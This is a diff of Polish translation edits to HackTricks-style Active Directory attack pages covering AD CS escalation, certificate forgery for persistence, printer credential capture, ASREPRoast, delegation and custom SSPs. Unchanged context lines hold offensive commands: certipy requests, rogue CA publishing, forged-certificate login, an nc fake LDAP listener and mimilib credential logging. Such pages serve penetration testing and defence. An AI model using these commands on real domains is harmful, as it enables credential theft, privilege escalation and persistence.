**kontrast** w porównaniu do strategii eksploatacji SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu. +**Uwaga**: Podejście do dodawania **alternatywnych nazw** do Żądania Podpisania Certyfikatu (CSR), za pomocą argumentu `-attrib "SAN:"` w `certreq.exe` (nazywanego „Pary Nazwa-Wartość”), stanowi **kontrast** w porównaniu do strategii wykorzystania SAN w ESC1. Tutaj różnica polega na **tym, jak informacje o koncie są enkapsulowane**—w atrybucie certyfikatu, a nie w rozszerzeniu. ### Nadużycie @@ -252,17 +252,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Wyjaśnienie > [!WARNING] -> W **poprzednim ataku** **`Manage CA`** uprawnienia zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ataku ESC6**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie ponownie uruchomiona. Gdy użytkownik ma prawo dostępu **`Manage CA`**, użytkownik ma również prawo do **ponownego uruchomienia usługi**. Jednak **nie oznacza to, że użytkownik może ponownie uruchomić usługę zdalnie**. Ponadto, E**SC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku. +> W **poprzednim ataku** **`Manage CA`** uprawnienia zostały użyte do **włączenia** flagi **EDITF_ATTRIBUTESUBJECTALTNAME2** w celu przeprowadzenia **ataku ESC6**, ale nie będzie to miało żadnego efektu, dopóki usługa CA (`CertSvc`) nie zostanie ponownie uruchomiona. Kiedy użytkownik ma prawo dostępu **`Manage CA`**, użytkownik ma również prawo do **ponownego uruchomienia usługi**. Jednak to **nie oznacza, że użytkownik może ponownie uruchomić usługę zdalnie**. Ponadto, **ESC6 może nie działać od razu** w większości załatanych środowisk z powodu aktualizacji zabezpieczeń z maja 2022 roku. Dlatego tutaj przedstawiony jest inny atak. Wymagania wstępne: -- Tylko **`ManageCA` uprawnienie** +- Tylko uprawnienie **`ManageCA`** - Uprawnienie **`Manage Certificates`** (może być przyznane z **`ManageCA`**) - Szablon certyfikatu **`SubCA`** musi być **włączony** (może być włączony z **`ManageCA`**) -Technika opiera się na fakcie, że użytkownicy z prawem dostępu **`Manage CA`** _i_ **`Manage Certificates`** mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. Tak więc, **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odrzucone** - ale **następnie wydane przez menedżera**. +Technika opiera się na fakcie, że użytkownicy z prawem dostępu **`Manage CA`** _i_ **`Manage Certificates`** mogą **wydawać nieudane żądania certyfikatów**. Szablon certyfikatu **`SubCA`** jest **wrażliwy na ESC1**, ale **tylko administratorzy** mogą zarejestrować się w szablonie. Tak więc, **użytkownik** może **zażądać** rejestracji w **`SubCA`** - co zostanie **odmówione** - ale **następnie wydane przez menedżera**. #### Nadużycie @@ -325,10 +325,10 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) > [!NOTE] > W środowiskach, w których **AD CS jest zainstalowane**, jeśli istnieje **punkt końcowy rejestracji w sieci** podatny na ataki i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który zezwala na **rejestrację komputerów w domenie i uwierzytelnianie klientów** (takich jak domyślny **`Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**! -Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które mogą być instalowane przez administratorów. Te interfejsy do rejestracji certyfikatów opartych na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, te interfejsy internetowe mogą być wykorzystywane przez atakującego do **żądania certyfikatu uwierzytelniania klienta przy użyciu szablonów certyfikatów `User` lub `Machine`**. +Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które mogą być instalowane przez administratorów. Te interfejsy do rejestracji certyfikatów opartej na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podczas podszywania się pod konto ofiary, te interfejsy internetowe mogą być wykorzystywane przez atakującego do **żądania certyfikatu uwierzytelnienia klienta przy użyciu szablonów certyfikatów `User` lub `Machine`**. -- **Interfejs rejestracji w sieci** (starsza aplikacja ASP dostępna pod adresem `http:///certsrv/`), domyślnie obsługuje tylko HTTP, co nie zapewnia ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie. -- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie poziomu do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie włączają HTTPS, HTTPS sam w sobie **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane do wiązania kanałów. +- **Interfejs rejestracji w sieci** (starsza aplikacja ASP dostępna pod adresem `http:///certsrv/`), domyślnie obsługuje tylko HTTP, co nie oferuje ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie. +- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez swój nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie poziomu do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie włączają HTTPS, HTTPS sam w sobie **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane do wiązania kanałów. Powszechnym **problemem** z atakami NTLM relay jest **krótki czas trwania sesji NTLM** oraz niemożność atakującego do interakcji z usługami, które **wymagają podpisywania NTLM**. @@ -346,7 +346,7 @@ Innym ograniczeniem ataków NTLM relay jest to, że **maszyna kontrolowana przez ### **Nadużycie** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` wylicza **włączone punkty końcowe HTTP AD CS**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeruje **włączone punkty końcowe HTTP AD CS**: ``` Certify.exe cas ``` @@ -440,7 +440,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Wyjaśnienie -Dwie wartości kluczy rejestru na kontrolerze domeny są określane przez ESC10: +Dwa wartości kluczy rejestru na kontrolerze domeny są określane przez ESC10: - Wartość domyślna dla `CertificateMappingMethods` w `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`. - Domyślne ustawienie dla `StrongCertificateBindingEnforcement` w `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`. @@ -455,7 +455,7 @@ Jeśli `CertificateMappingMethods` zawiera bit `UPN` (`0x4`). ### Przypadek nadużycia 1 -Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`, konto A z uprawnieniami `GenericWrite` może zostać wykorzystane do skompromitowania dowolnego konta B. +Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`, konto A z uprawnieniami `GenericWrite` może być wykorzystane do skompromitowania dowolnego konta B. Na przykład, mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do skompromitowania `Administrator@corp.local`. Procedura odzwierciedla ESC9, pozwalając na wykorzystanie dowolnego szablonu certyfikatu. @@ -471,7 +471,7 @@ Następnie żądany jest certyfikat umożliwiający uwierzytelnianie klienta jak ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` `Jane` jest następnie przywracany do swojej oryginalnej wartości, `Jane@corp.local`. +`userPrincipalName` `Jane` jest następnie przywracany do swojego pierwotnego, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` @@ -487,7 +487,7 @@ Celem jest skompromitowanie `DC$@corp.local`, zaczynając od uzyskania hasha `Ja ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` jest następnie ustawiony na `DC$@corp.local`. +`userPrincipalName` `Jane` jest następnie ustawiony na `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` @@ -583,13 +583,13 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat przy użyciu certyfikatu CA i jego klucza prywatnego. +Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat za pomocą certyfikatu CA i jego klucza prywatnego. ## OID Group Link Abuse - ESC13 ### Wyjaśnienie -Atrybut `msPKI-Certificate-Policy` pozwala na dodanie polityki wydania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za wydawanie polityk, można odkryć w Konfiguracji Nazewniczej (CN=OID,CN=Public Key Services,CN=Services) kontenera OID PKI. Polityka może być powiązana z grupą AD za pomocą atrybutu `msDS-OIDToGroupLink` tego obiektu, co umożliwia systemowi autoryzację użytkownika, który przedstawia certyfikat, tak jakby był członkiem grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Atrybut `msPKI-Certificate-Policy` pozwala na dodanie polityki wydania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za wydawanie polityk, można odkryć w Konfiguracji Nazewniczej (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu `msDS-OIDToGroupLink` tego obiektu, co umożliwia systemowi autoryzację użytkownika, który przedstawia certyfikat, tak jakby był członkiem grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). Innymi słowy, gdy użytkownik ma uprawnienia do rejestracji certyfikatu, a certyfikat jest powiązany z grupą OID, użytkownik może dziedziczyć uprawnienia tej grupy. @@ -629,11 +629,11 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target ### Łamanie Zaufania Lasów przez Kompromitowane CA -Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA root** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA enterprise** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skompromentowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu. +Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA głównego** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA przedsiębiorstwa** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skompromentowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu. ### Uprawnienia do Rejestracji Przyznane Obcym Podmiotom -W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA Enterprise, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA Enterprise) **na prawa rejestracji i edycji**.\ -Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Zatem, jeśli domena posiada CA Enterprise z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiająca podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. +W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA przedsiębiorstwa, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA przedsiębiorstwa) **na rejestrację i prawa do edycji**.\ +Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Tak więc, jeśli domena posiada CA przedsiębiorstwa z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiająca podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu do drugiego. Ustawienia szablonu certyfikatu mogą być wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index 1985f4d29..86273d61f 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -15,7 +15,7 @@ Można ustalić, że certyfikat jest certyfikatem CA, jeśli spełnione są nast - W certyfikatach CA obecne jest rozszerzenie "CA Version" wyłącznie. - Certyfikat nie zawiera pól Extended Key Usage (EKU). -Aby wyodrębnić klucz prywatny tego certyfikatu, narzędzie `certsrv.msc` na serwerze CA jest wspieraną metodą za pośrednictwem wbudowanego GUI. Niemniej jednak, ten certyfikat nie różni się od innych przechowywanych w systemie; dlatego można zastosować metody takie jak [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) do jego wyodrębnienia. +Aby wyodrębnić klucz prywatny tego certyfikatu, narzędzie `certsrv.msc` na serwerze CA jest wspieraną metodą za pomocą wbudowanego GUI. Niemniej jednak, ten certyfikat nie różni się od innych przechowywanych w systemie; dlatego można zastosować metody takie jak [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) do jego wyodrębnienia. Certyfikat i klucz prywatny można również uzyskać za pomocą Certipy, używając następującego polecenia: ```bash @@ -38,26 +38,26 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 > [!WARNING] > Użytkownik, który jest celem fałszowania certyfikatu, musi być aktywny i zdolny do uwierzytelnienia w Active Directory, aby proces zakończył się sukcesem. Fałszowanie certyfikatu dla specjalnych kont, takich jak krbtgt, jest nieskuteczne. -Ten fałszywy certyfikat będzie **ważny** do daty końcowej określonej i **tak długo, jak certyfikat CA jest ważny** (zwykle od 5 do **10+ lat**). Jest również ważny dla **maszyn**, więc w połączeniu z **S4U2Self**, atakujący może **utrzymać trwałość na dowolnej maszynie w domenie** tak długo, jak certyfikat CA jest ważny.\ +Ten fałszywy certyfikat będzie **ważny** do daty końcowej określonej w certyfikacie i **tak długo, jak certyfikat CA jest ważny** (zwykle od 5 do **10+ lat**). Jest również ważny dla **maszyn**, więc w połączeniu z **S4U2Self**, atakujący może **utrzymać trwałość na dowolnej maszynie w domenie** tak długo, jak certyfikat CA jest ważny.\ Ponadto, **certyfikaty generowane** tą metodą **nie mogą być unieważnione**, ponieważ CA nie jest ich świadoma. ## Zaufanie do fałszywych certyfikatów CA - DPERSIST2 Obiekt `NTAuthCertificates` jest zdefiniowany jako zawierający jeden lub więcej **certyfikatów CA** w swoim atrybucie `cacertificate`, z którego korzysta Active Directory (AD). Proces weryfikacji przez **kontroler domeny** polega na sprawdzeniu obiektu `NTAuthCertificates` pod kątem wpisu odpowiadającego **CA określonemu** w polu Wydawca autoryzującego **certyfikatu**. Uwierzytelnianie postępuje, jeśli znaleziono dopasowanie. -Certyfikat CA podpisany samodzielnie może być dodany do obiektu `NTAuthCertificates` przez atakującego, pod warunkiem, że ma kontrolę nad tym obiektem AD. Zwykle tylko członkowie grupy **Enterprise Admin**, wraz z **Domain Admins** lub **Administratorami** w **domenie głównej lasu**, mają uprawnienia do modyfikacji tego obiektu. Mogą edytować obiekt `NTAuthCertificates` za pomocą `certutil.exe` z poleceniem `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, lub korzystając z [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). +Certyfikat CA podpisany samodzielnie może być dodany do obiektu `NTAuthCertificates` przez atakującego, pod warunkiem, że ma on kontrolę nad tym obiektem AD. Zwykle tylko członkowie grupy **Enterprise Admin**, wraz z **Domain Admins** lub **Administratorami** w **domenie głównej lasu**, mają uprawnienia do modyfikacji tego obiektu. Mogą edytować obiekt `NTAuthCertificates` za pomocą `certutil.exe` z poleceniem `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, lub korzystając z [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). -Ta zdolność jest szczególnie istotna, gdy jest używana w połączeniu z wcześniej opisanym sposobem wykorzystania ForgeCert do dynamicznego generowania certyfikatów. +Ta możliwość jest szczególnie istotna, gdy jest używana w połączeniu z wcześniej opisanym sposobem wykorzystania ForgeCert do dynamicznego generowania certyfikatów. ## Złośliwa niewłaściwa konfiguracja - DPERSIST3 -Możliwości **trwałości** poprzez **modyfikacje deskryptora zabezpieczeń komponentów AD CS** są liczne. Modyfikacje opisane w sekcji "[Domain Escalation](domain-escalation.md)" mogą być złośliwie wdrażane przez atakującego z podwyższonym dostępem. Obejmuje to dodanie "praw kontrolnych" (np. WriteOwner/WriteDACL/etc.) do wrażliwych komponentów, takich jak: +Możliwości **utrzymywania trwałości** poprzez **modyfikacje deskryptora zabezpieczeń komponentów AD CS** są liczne. Modyfikacje opisane w sekcji "[Domain Escalation](domain-escalation.md)" mogą być złośliwie wdrażane przez atakującego z podwyższonym dostępem. Obejmuje to dodanie "praw kontrolnych" (np. WriteOwner/WriteDACL/etc.) do wrażliwych komponentów, takich jak: - Obiekt komputera AD **serwera CA** - **Serwer RPC/DCOM serwera CA** - Dowolny **obiekt lub kontener AD potomny** w **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (na przykład kontener szablonów certyfikatów, kontener autorytetów certyfikacji, obiekt NTAuthCertificates itd.) - **Grupy AD, którym przyznano prawa do kontrolowania AD CS** domyślnie lub przez organizację (takie jak wbudowana grupa Cert Publishers i wszyscy jej członkowie) -Przykład złośliwej implementacji obejmowałby atakującego, który ma **podwyższone uprawnienia** w domenie, dodającego uprawnienie **`WriteOwner`** do domyślnego szablonu certyfikatu **`User`**, przy czym atakujący byłby głównym uprawnionym do tego prawa. Aby to wykorzystać, atakujący najpierw zmieniłby własność szablonu **`User`** na siebie. Następnie, **`mspki-certificate-name-flag`** zostałby ustawiony na **1** w szablonie, aby włączyć **`ENROLLEE_SUPPLIES_SUBJECT`**, co pozwala użytkownikowi dostarczyć nazwę alternatywną w żądaniu. Następnie atakujący mógłby **zarejestrować** się, korzystając z **szablonu**, wybierając nazwę **administrator domeny** jako nazwę alternatywną, i wykorzystać uzyskany certyfikat do uwierzytelnienia jako DA. +Przykład złośliwej implementacji obejmowałby atakującego, który ma **podwyższone uprawnienia** w domenie, dodającego uprawnienie **`WriteOwner`** do domyślnego szablonu certyfikatu **`User`**, przy czym atakujący byłby głównym beneficjentem tego prawa. Aby to wykorzystać, atakujący najpierw zmieniłby własność szablonu **`User`** na siebie. Następnie **`mspki-certificate-name-flag`** zostałby ustawiony na **1** w szablonie, aby włączyć **`ENROLLEE_SUPPLIES_SUBJECT`**, co pozwala użytkownikowi dostarczyć nazwę alternatywną w żądaniu. Następnie atakujący mógłby **zarejestrować** się, korzystając z **szablonu**, wybierając nazwę **administrator domeny** jako nazwę alternatywną i wykorzystać uzyskany certyfikat do uwierzytelnienia jako DA. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md index 3440f525b..24d0f735d 100644 --- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/src/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -4,7 +4,7 @@ Domyślnie **każdy użytkownik** w Active Directory może **enumerować wszystkie rekordy DNS** w strefach DNS domeny lub lasu, podobnie jak transfer strefy (użytkownicy mogą wylistować obiekty podrzędne strefy DNS w środowisku AD). -Narzędzie [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) umożliwia **enumerację** i **eksport** **wszystkich rekordów DNS** w strefie w celach rekonesansu wewnętrznych sieci. +Narzędzie [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) umożliwia **enumerację** i **eksport** **wszystkich rekordów DNS** w strefie do celów rekonesansu wewnętrznych sieci. ```bash git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump diff --git a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md index e5feba12c..a3bf8967a 100644 --- a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md +++ b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md @@ -1,11 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} W Internecie znajduje się kilka blogów, które **podkreślają niebezpieczeństwa związane z pozostawianiem drukarek skonfigurowanych z LDAP z domyślnymi/słabymi** danymi logowania.\ -Dzieje się tak, ponieważ atakujący może **oszukać drukarkę, aby uwierzytelniła się w fałszywym serwerze LDAP** (zazwyczaj `nc -vv -l -p 444` wystarczy) i przechwycić **dane logowania drukarki w postaci czystego tekstu**. +Dzieje się tak, ponieważ atakujący może **oszukać drukarkę, aby uwierzytelniła się w fałszywym serwerze LDAP** (zwykle `nc -vv -l -p 444` wystarczy) i przechwycić **dane logowania drukarki w postaci czystego tekstu**. Ponadto, wiele drukarek zawiera **dzienniki z nazwami użytkowników** lub może nawet być w stanie **pobierać wszystkie nazwy użytkowników** z kontrolera domeny. -Wszystkie te **wrażliwe informacje** oraz powszechna **niedostateczna ochrona** sprawiają, że drukarki są bardzo interesujące dla atakujących. +Wszystkie te **wrażliwe informacje** oraz powszechny **brak zabezpieczeń** sprawiają, że drukarki są bardzo interesujące dla atakujących. Kilka blogów na ten temat: diff --git a/src/windows-hardening/active-directory-methodology/asreproast.md b/src/windows-hardening/active-directory-methodology/asreproast.md index d26337fdb..b48b37223 100644 --- a/src/windows-hardening/active-directory-methodology/asreproast.md +++ b/src/windows-hardening/active-directory-methodology/asreproast.md @@ -9,7 +9,7 @@ ASREPRoast to atak bezpieczeństwa, który wykorzystuje użytkowników, którzy Główne wymagania dla tego ataku to: - **Brak wstępnej autoryzacji Kerberos**: Użytkownicy docelowi nie mogą mieć włączonej tej funkcji zabezpieczeń. -- **Połączenie z Kontrolerem Domeny (DC)**: Atakujący muszą mieć dostęp do DC, aby wysyłać żądania i odbierać zaszyfrowane wiadomości. +- **Połączenie z Kontrolerem Domeny (DC)**: Atakujący potrzebują dostępu do DC, aby wysyłać żądania i odbierać zaszyfrowane wiadomości. - **Opcjonalne konto domenowe**: Posiadanie konta domenowego pozwala atakującym na bardziej efektywne identyfikowanie podatnych użytkowników za pomocą zapytań LDAP. Bez takiego konta atakujący muszą zgadywać nazwy użytkowników. #### Enumerowanie podatnych użytkowników (potrzebne dane uwierzytelniające domeny) diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 7f1ce35aa..39f2816fa 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -19,7 +19,7 @@ Aby zrobić migawkę AD, przejdź do `File` --> `Create Snapshot` i wprowadź na ## ADRecon -[**ADRecon**](https://github.com/adrecon/ADRecon) to narzędzie, które wydobywa i łączy różne artefakty z środowiska AD. Informacje mogą być prezentowane w **specjalnie sformatowanym** raporcie Microsoft Excel **raporcie**, który zawiera podsumowania z metrykami, aby ułatwić analizę i zapewnić całościowy obraz aktualnego stanu docelowego środowiska AD. +[**ADRecon**](https://github.com/adrecon/ADRecon) to narzędzie, które wyodrębnia i łączy różne artefakty z środowiska AD. Informacje mogą być przedstawione w **specjalnie sformatowanym** raporcie Microsoft Excel **raporcie**, który zawiera podsumowania z metrykami, aby ułatwić analizę i zapewnić całościowy obraz aktualnego stanu docelowego środowiska AD. ```bash # Run it .\ADRecon.ps1 @@ -28,7 +28,7 @@ Aby zrobić migawkę AD, przejdź do `File` --> `Create Snapshot` i wprowadź na From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound) -> BloodHound to aplikacja webowa w JavaScript na jednej stronie, zbudowana na bazie [Linkurious](http://linkurio.us/), skompilowana z [Electron](http://electron.atom.io/), z bazą danych [Neo4j](https://neo4j.com/) zasilaną przez zbieracz danych w C#. +> BloodHound to aplikacja webowa w JavaScript na jednej stronie, zbudowana na bazie [Linkurious](http://linkurio.us/), skompilowana z [Electron](http://electron.atom.io/), z bazą danych [Neo4j](https://neo4j.com/) zasilaną przez zbieracz danych C#. BloodHound wykorzystuje teorię grafów do ujawnienia ukrytych i często niezamierzonych relacji w środowisku Active Directory lub Azure. Atakujący mogą używać BloodHound do łatwego identyfikowania bardzo złożonych ścieżek ataku, które w przeciwnym razie byłyby niemożliwe do szybkiego zidentyfikowania. Obrońcy mogą używać BloodHound do identyfikacji i eliminacji tych samych ścieżek ataku. Zarówno zespoły niebieskie, jak i czerwone mogą używać BloodHound do łatwego uzyskania głębszego zrozumienia relacji uprawnień w środowisku Active Directory lub Azure. diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md index 8a31a5c05..1c1c3f12d 100644 --- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -13,7 +13,7 @@ Korzystając z tego, administrator domeny może **zezwolić** komputerowi na **p Oznacza to, że jeśli **skompromitujesz hash usługi**, możesz **podszywać się pod użytkowników** i uzyskać **dostęp** w ich imieniu do **skonfigurowanej usługi** (możliwe **privesc**). -Ponadto, **nie będziesz miał tylko dostępu do usługi, pod którą użytkownik może się podszyć, ale także do każdej usługi**, ponieważ SPN (nazwa usługi żądana) nie jest sprawdzana, tylko uprawnienia. Dlatego, jeśli masz dostęp do **usługi CIFS**, możesz również uzyskać dostęp do **usługi HOST** używając flagi `/altservice` w Rubeus. +Ponadto, **nie będziesz miał tylko dostępu do usługi, pod którą użytkownik może się podszyć, ale także do każdej usługi**, ponieważ SPN (nazwa usługi żądanej) nie jest sprawdzana, tylko uprawnienia. Dlatego, jeśli masz dostęp do **usługi CIFS**, możesz również uzyskać dostęp do **usługi HOST** używając flagi `/altservice` w Rubeus. Również, **dostęp do usługi LDAP na DC**, jest tym, co jest potrzebne do wykorzystania **DCSync**. ```bash:Enumerate diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index 11d9c5047..8baa24faf 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -9,7 +9,7 @@ Możesz stworzyć **własny SSP**, aby **przechwycić** w **czystym tekście** * #### Mimilib -Możesz użyć binarnego pliku `mimilib.dll` dostarczonego przez Mimikatz. **To zapisze wszystkie poświadczenia w czystym tekście w pliku.**\ +Możesz użyć binarnego pliku `mimilib.dll` dostarczonego przez Mimikatz. **To zapisze wszystkie poświadczenia w czystym tekście do pliku.**\ Umieść dll w `C:\Windows\System32\`\ Uzyskaj listę istniejących pakietów zabezpieczeń LSA: ```bash:attacker@target diff --git 